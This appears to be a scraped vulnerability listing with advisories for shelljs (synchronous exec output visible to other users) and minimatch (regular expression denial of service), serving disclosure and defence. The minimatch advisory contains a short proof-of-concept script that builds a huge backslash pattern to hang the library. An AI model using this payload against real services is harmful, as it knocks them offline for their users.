All the vulnerabilities related to the version 1.1.6 of the package
Improper Privilege Management in shelljs
shelljs is vulnerable to Improper Privilege Management
Improper Privilege Management in shelljs
Output from the synchronous version of shell.exec()
may be visible to other users on the same system. You may be affected if you execute shell.exec()
in multi-user Mac, Linux, or WSL environments, or if you execute shell.exec()
as the root user.
Other shelljs functions (including the asynchronous version of shell.exec()
) are not impacted.
Patched in shelljs 0.8.5
Recommended action is to upgrade to 0.8.5.
https://huntr.dev/bounties/50996581-c08e-4eed-a90e-c0bac082679c/
If you have any questions or comments about this advisory:
minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.
Regular Expression Denial of Service in minimatch
Affected versions of minimatch
are vulnerable to regular expression denial of service attacks when user input is passed into the pattern
argument of minimatch(path, pattern)
.
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Update to version 3.0.2 or later.